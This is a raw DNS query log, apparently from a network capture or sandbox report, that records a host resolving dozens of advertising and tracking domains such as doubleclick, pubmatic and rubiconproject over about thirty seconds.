Apr 28, 2024 00:42:15.499950886 CEST	192.168.2.4	1.1.1.1	0xd470	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.500081062 CEST	192.168.2.4	1.1.1.1	0x5b7	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:15.503019094 CEST	192.168.2.4	1.1.1.1	0x66cf	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.503149033 CEST	192.168.2.4	1.1.1.1	0xe043	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:15.503897905 CEST	192.168.2.4	1.1.1.1	0x2153	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.504031897 CEST	192.168.2.4	1.1.1.1	0x1724	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Apr 28, 2024 00:42:15.504759073 CEST	192.168.2.4	1.1.1.1	0x85b6	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.504872084 CEST	192.168.2.4	1.1.1.1	0xccd3	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:15.506915092 CEST	192.168.2.4	1.1.1.1	0x125a	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.507050037 CEST	192.168.2.4	1.1.1.1	0x89aa	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:15.834125042 CEST	192.168.2.4	1.1.1.1	0x8dbe	Standard query (0)	pixel-us-east.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.834254980 CEST	192.168.2.4	1.1.1.1	0x81c1	Standard query (0)	pixel-us-east.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.087824106 CEST	192.168.2.4	1.1.1.1	0x6320	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.087971926 CEST	192.168.2.4	1.1.1.1	0xd660	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.121083975 CEST	192.168.2.4	1.1.1.1	0x635d	Standard query (0)	a.a47b.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.121239901 CEST	192.168.2.4	1.1.1.1	0x650e	Standard query (0)	a.a47b.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.251280069 CEST	192.168.2.4	1.1.1.1	0x376c	Standard query (0)	tps.doubleverify.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.251734972 CEST	192.168.2.4	1.1.1.1	0xdfcc	Standard query (0)	tps.doubleverify.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.330280066 CEST	192.168.2.4	1.1.1.1	0xeca4	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.330478907 CEST	192.168.2.4	1.1.1.1	0x2a23	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.478555918 CEST	192.168.2.4	1.1.1.1	0xd7d	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.478688955 CEST	192.168.2.4	1.1.1.1	0x30b6	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.479355097 CEST	192.168.2.4	1.1.1.1	0x59db	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.479485989 CEST	192.168.2.4	1.1.1.1	0xf024	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.581898928 CEST	192.168.2.4	1.1.1.1	0x484b	Standard query (0)	prebid.a-mo.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.582019091 CEST	192.168.2.4	1.1.1.1	0xcf37	Standard query (0)	prebid.a-mo.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:16.904774904 CEST	192.168.2.4	1.1.1.1	0xce63	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:16.905067921 CEST	192.168.2.4	1.1.1.1	0x59ee	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.033596992 CEST	192.168.2.4	1.1.1.1	0xe5b5	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.033909082 CEST	192.168.2.4	1.1.1.1	0x4f87	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.076196909 CEST	192.168.2.4	1.1.1.1	0xe174	Standard query (0)	cs.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.076462030 CEST	192.168.2.4	1.1.1.1	0xf54e	Standard query (0)	cs.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.090734959 CEST	192.168.2.4	1.1.1.1	0x6cc6	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.091023922 CEST	192.168.2.4	1.1.1.1	0x3a41	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.120527983 CEST	192.168.2.4	1.1.1.1	0xddb8	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.120867968 CEST	192.168.2.4	1.1.1.1	0x8af4	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.337436914 CEST	192.168.2.4	1.1.1.1	0x35c4	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.337641954 CEST	192.168.2.4	1.1.1.1	0x9513	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.360893011 CEST	192.168.2.4	1.1.1.1	0x186d	Standard query (0)	data.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.361063004 CEST	192.168.2.4	1.1.1.1	0x87e0	Standard query (0)	data.adsrvr.org	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.399347067 CEST	192.168.2.4	1.1.1.1	0x172f	Standard query (0)	s.ad.smaato.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.399518013 CEST	192.168.2.4	1.1.1.1	0x7f59	Standard query (0)	s.ad.smaato.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.417337894 CEST	192.168.2.4	1.1.1.1	0x8f6f	Standard query (0)	pixel-eu.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.417491913 CEST	192.168.2.4	1.1.1.1	0x2919	Standard query (0)	pixel-eu.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.419409990 CEST	192.168.2.4	1.1.1.1	0x46b6	Standard query (0)	t.adx.opera.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.419536114 CEST	192.168.2.4	1.1.1.1	0xa4fa	Standard query (0)	t.adx.opera.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.430744886 CEST	192.168.2.4	1.1.1.1	0x38b6	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.430874109 CEST	192.168.2.4	1.1.1.1	0x1cd0	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.432027102 CEST	192.168.2.4	1.1.1.1	0x745f	Standard query (0)	bh.contextweb.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.432303905 CEST	192.168.2.4	1.1.1.1	0x6fc8	Standard query (0)	bh.contextweb.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.433219910 CEST	192.168.2.4	1.1.1.1	0x7fb4	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.433336020 CEST	192.168.2.4	1.1.1.1	0x40f9	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:17.434153080 CEST	192.168.2.4	1.1.1.1	0x600d	Standard query (0)	aorta.clickagy.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:17.434501886 CEST	192.168.2.4	1.1.1.1	0x5afd	Standard query (0)	aorta.clickagy.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.053795099 CEST	192.168.2.4	1.1.1.1	0xb3e2	Standard query (0)	ssbsync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.053910971 CEST	192.168.2.4	1.1.1.1	0x99a5	Standard query (0)	ssbsync.smartadserver.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.054260015 CEST	192.168.2.4	1.1.1.1	0xd750	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.054373026 CEST	192.168.2.4	1.1.1.1	0x210a	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.057563066 CEST	192.168.2.4	1.1.1.1	0x95b6	Standard query (0)	tg.socdm.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.057682991 CEST	192.168.2.4	1.1.1.1	0x3b93	Standard query (0)	tg.socdm.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.058063030 CEST	192.168.2.4	1.1.1.1	0x77ae	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.058176994 CEST	192.168.2.4	1.1.1.1	0xf9d6	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.060209990 CEST	192.168.2.4	1.1.1.1	0x483e	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.060434103 CEST	192.168.2.4	1.1.1.1	0x74eb	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.062236071 CEST	192.168.2.4	1.1.1.1	0xad92	Standard query (0)	cs.lkqd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.062350035 CEST	192.168.2.4	1.1.1.1	0x5eab	Standard query (0)	cs.lkqd.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.064764023 CEST	192.168.2.4	1.1.1.1	0x7a30	Standard query (0)	simage4.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.064882994 CEST	192.168.2.4	1.1.1.1	0xff43	Standard query (0)	simage4.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.067030907 CEST	192.168.2.4	1.1.1.1	0xbced	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.067142963 CEST	192.168.2.4	1.1.1.1	0x246c	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.217982054 CEST	192.168.2.4	1.1.1.1	0x2e6	Standard query (0)	cs.lkqd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.368113041 CEST	192.168.2.4	1.1.1.1	0xc064	Standard query (0)	tpsc-ue1.doubleverify.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.368241072 CEST	192.168.2.4	1.1.1.1	0x25ba	Standard query (0)	tpsc-ue1.doubleverify.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:20.984344959 CEST	192.168.2.4	1.1.1.1	0xcadf	Standard query (0)	sync.mathtag.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:20.984464884 CEST	192.168.2.4	1.1.1.1	0x84ba	Standard query (0)	sync.mathtag.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:21.247586966 CEST	192.168.2.4	1.1.1.1	0xabe4	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.247714996 CEST	192.168.2.4	1.1.1.1	0x686a	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:21.843943119 CEST	192.168.2.4	1.1.1.1	0x9e70	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:21.844571114 CEST	192.168.2.4	1.1.1.1	0xf60	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:22.951967001 CEST	192.168.2.4	1.1.1.1	0xcb1d	Standard query (0)	cm.adgrx.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:22.952235937 CEST	192.168.2.4	1.1.1.1	0x80c3	Standard query (0)	cm.adgrx.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:22.960951090 CEST	192.168.2.4	1.1.1.1	0x81da	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:22.961287975 CEST	192.168.2.4	1.1.1.1	0x4378	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:22.962348938 CEST	192.168.2.4	1.1.1.1	0xa4f5	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:22.962584019 CEST	192.168.2.4	1.1.1.1	0xf897	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:22.962959051 CEST	192.168.2.4	1.1.1.1	0x37fe	Standard query (0)	sync.bfmio.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:22.963298082 CEST	192.168.2.4	1.1.1.1	0x4e10	Standard query (0)	sync.bfmio.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.038754940 CEST	192.168.2.4	1.1.1.1	0xa571	Standard query (0)	pubmatic-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.040627003 CEST	192.168.2.4	1.1.1.1	0x9654	Standard query (0)	pubmatic-match.dotomi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.041228056 CEST	192.168.2.4	1.1.1.1	0x156	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.041409016 CEST	192.168.2.4	1.1.1.1	0xa209	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.041971922 CEST	192.168.2.4	1.1.1.1	0x4a2	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.042243958 CEST	192.168.2.4	1.1.1.1	0x2d47	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.046968937 CEST	192.168.2.4	1.1.1.1	0x8584	Standard query (0)	beacon.lynx.cognitivlabs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.047492027 CEST	192.168.2.4	1.1.1.1	0x2837	Standard query (0)	beacon.lynx.cognitivlabs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.049362898 CEST	192.168.2.4	1.1.1.1	0x3cd6	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.049552917 CEST	192.168.2.4	1.1.1.1	0x402b	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.049841881 CEST	192.168.2.4	1.1.1.1	0x9dfb	Standard query (0)	ssp.disqus.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.049966097 CEST	192.168.2.4	1.1.1.1	0x8c34	Standard query (0)	ssp.disqus.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.050349951 CEST	192.168.2.4	1.1.1.1	0x2f10	Standard query (0)	ad.mrtnsvr.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.050448895 CEST	192.168.2.4	1.1.1.1	0xde96	Standard query (0)	ad.mrtnsvr.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.056274891 CEST	192.168.2.4	1.1.1.1	0xdeca	Standard query (0)	ums.acuityplatform.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056451082 CEST	192.168.2.4	1.1.1.1	0xff5	Standard query (0)	ums.acuityplatform.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.056735039 CEST	192.168.2.4	1.1.1.1	0x1083	Standard query (0)	csync.loopme.me	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.056843996 CEST	192.168.2.4	1.1.1.1	0x746c	Standard query (0)	csync.loopme.me	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.057813883 CEST	192.168.2.4	1.1.1.1	0xef30	Standard query (0)	cs.iqzone.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.057995081 CEST	192.168.2.4	1.1.1.1	0xb058	Standard query (0)	cs.iqzone.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.058320999 CEST	192.168.2.4	1.1.1.1	0x280b	Standard query (0)	gocm.c.appier.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.058427095 CEST	192.168.2.4	1.1.1.1	0x6c7d	Standard query (0)	gocm.c.appier.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.074634075 CEST	192.168.2.4	1.1.1.1	0x9de	Standard query (0)	ipac.ctnsnet.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.074831009 CEST	192.168.2.4	1.1.1.1	0xe039	Standard query (0)	ipac.ctnsnet.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.075347900 CEST	192.168.2.4	1.1.1.1	0x9137	Standard query (0)	sync.adkernel.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.075894117 CEST	192.168.2.4	1.1.1.1	0x9dbf	Standard query (0)	sync.adkernel.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.077178955 CEST	192.168.2.4	1.1.1.1	0x459a	Standard query (0)	core.iprom.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.092191935 CEST	192.168.2.4	1.1.1.1	0xe269	Standard query (0)	core.iprom.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.092776060 CEST	192.168.2.4	1.1.1.1	0x1320	Standard query (0)	matching.truffle.bid	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.105407000 CEST	192.168.2.4	1.1.1.1	0xad02	Standard query (0)	matching.truffle.bid	65	IN (0x0001)	false
Apr 28, 2024 00:42:23.106759071 CEST	192.168.2.4	1.1.1.1	0xc4d3	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:23.106972933 CEST	192.168.2.4	1.1.1.1	0x86f0	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:28.133232117 CEST	192.168.2.4	1.1.1.1	0xf8b9	Standard query (0)	yahoo-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:28.133408070 CEST	192.168.2.4	1.1.1.1	0xcbc7	Standard query (0)	yahoo-match.dotomi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:28.781842947 CEST	192.168.2.4	1.1.1.1	0xdd04	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:28.781999111 CEST	192.168.2.4	1.1.1.1	0xf344	Standard query (0)	ads.avct.cloud	65	IN (0x0001)	false
Apr 28, 2024 00:42:29.023188114 CEST	192.168.2.4	1.1.1.1	0x74ae	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:30.974993944 CEST	192.168.2.4	1.1.1.1	0x1cb8	Standard query (0)	cs.lkqd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:30.975136042 CEST	192.168.2.4	1.1.1.1	0xd293	Standard query (0)	cs.lkqd.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:31.191952944 CEST	192.168.2.4	1.1.1.1	0xe178	Standard query (0)	cs.lkqd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:31.340482950 CEST	192.168.2.4	1.1.1.1	0x5f65	Standard query (0)	a.sportradarserving.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:31.340744972 CEST	192.168.2.4	1.1.1.1	0x6cd1	Standard query (0)	a.sportradarserving.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:32.196327925 CEST	192.168.2.4	1.1.1.1	0xb2df	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.196508884 CEST	192.168.2.4	1.1.1.1	0x8c2	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:32.896152020 CEST	192.168.2.4	1.1.1.1	0x8032	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.896303892 CEST	192.168.2.4	1.1.1.1	0xd944	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:32.911621094 CEST	192.168.2.4	1.1.1.1	0x2dcc	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.911849022 CEST	192.168.2.4	1.1.1.1	0xb653	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:32.939992905 CEST	192.168.2.4	1.1.1.1	0x39a7	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.940784931 CEST	192.168.2.4	1.1.1.1	0x4cb1	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:32.966666937 CEST	192.168.2.4	1.1.1.1	0xecb0	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.966862917 CEST	192.168.2.4	1.1.1.1	0xa928	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:32.981551886 CEST	192.168.2.4	1.1.1.1	0xe24c	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.981862068 CEST	192.168.2.4	1.1.1.1	0x6efa	Standard query (0)	static.criteo.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.003766060 CEST	192.168.2.4	1.1.1.1	0xe96a	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.004245996 CEST	192.168.2.4	1.1.1.1	0x765	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.031958103 CEST	192.168.2.4	1.1.1.1	0x6446	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.032229900 CEST	192.168.2.4	1.1.1.1	0xad40	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.039490938 CEST	192.168.2.4	1.1.1.1	0x8968	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.039663076 CEST	192.168.2.4	1.1.1.1	0x3836	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.042042017 CEST	192.168.2.4	1.1.1.1	0xea22	Standard query (0)	qsearch-a.akamaihd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.042344093 CEST	192.168.2.4	1.1.1.1	0xe550	Standard query (0)	qsearch-a.akamaihd.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.045933962 CEST	192.168.2.4	1.1.1.1	0x5570	Standard query (0)	d31otfhas71ais.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.046098948 CEST	192.168.2.4	1.1.1.1	0x594d	Standard query (0)	d31otfhas71ais.cloudfront.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.047785997 CEST	192.168.2.4	1.1.1.1	0xb5b	Standard query (0)	hblg.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.047916889 CEST	192.168.2.4	1.1.1.1	0xfe11	Standard query (0)	hblg.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.055006981 CEST	192.168.2.4	1.1.1.1	0xd667	Standard query (0)	rtb-use.hellogenie.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.055218935 CEST	192.168.2.4	1.1.1.1	0x490c	Standard query (0)	rtb-use.hellogenie.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.308022976 CEST	192.168.2.4	1.1.1.1	0xc64f	Standard query (0)	sync.technoratimedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.308130026 CEST	192.168.2.4	1.1.1.1	0x19f3	Standard query (0)	sync.technoratimedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.468127012 CEST	192.168.2.4	1.1.1.1	0x9908	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.468472958 CEST	192.168.2.4	1.1.1.1	0x5471	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:33.638488054 CEST	192.168.2.4	1.1.1.1	0xd984	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.638762951 CEST	192.168.2.4	1.1.1.1	0xf8c5	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:34.241101027 CEST	192.168.2.4	1.1.1.1	0x3ea5	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:34.241486073 CEST	192.168.2.4	1.1.1.1	0x1fa8	Standard query (0)	ads.avct.cloud	65	IN (0x0001)	false
Apr 28, 2024 00:42:36.091372967 CEST	192.168.2.4	1.1.1.1	0x7902	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:39.028959990 CEST	192.168.2.4	1.1.1.1	0x5102	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:39.029164076 CEST	192.168.2.4	1.1.1.1	0x66fd	Standard query (0)	pippio.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:42.556344032 CEST	192.168.2.4	1.1.1.1	0x5fd4	Standard query (0)	px.owneriq.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.556490898 CEST	192.168.2.4	1.1.1.1	0x5bd6	Standard query (0)	px.owneriq.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:42.868083954 CEST	192.168.2.4	1.1.1.1	0x7cd4	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.868288994 CEST	192.168.2.4	1.1.1.1	0xfe05	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:42.869657040 CEST	192.168.2.4	1.1.1.1	0x9d9a	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.869880915 CEST	192.168.2.4	1.1.1.1	0x475c	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:42.870954037 CEST	192.168.2.4	1.1.1.1	0x82ca	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.871236086 CEST	192.168.2.4	1.1.1.1	0xa566	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:42.873776913 CEST	192.168.2.4	1.1.1.1	0x3a79	Standard query (0)	match.adsby.bidtheatre.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.873969078 CEST	192.168.2.4	1.1.1.1	0x7070	Standard query (0)	match.adsby.bidtheatre.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.127602100 CEST	192.168.2.4	1.1.1.1	0x9f93	Standard query (0)	de9a11s35xj3d.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.128285885 CEST	192.168.2.4	1.1.1.1	0xa1a5	Standard query (0)	de9a11s35xj3d.cloudfront.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.201354027 CEST	192.168.2.4	1.1.1.1	0x63c3	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.201482058 CEST	192.168.2.4	1.1.1.1	0xb938	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.203156948 CEST	192.168.2.4	1.1.1.1	0x9628	Standard query (0)	mcc-cms-s3.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.203392029 CEST	192.168.2.4	1.1.1.1	0x6c60	Standard query (0)	mcc-cms-s3.s3.amazonaws.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.204843044 CEST	192.168.2.4	1.1.1.1	0x8e23	Standard query (0)	nym1-ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.205323935 CEST	192.168.2.4	1.1.1.1	0xd626	Standard query (0)	nym1-ib.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:43.212199926 CEST	192.168.2.4	1.1.1.1	0x7a95	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
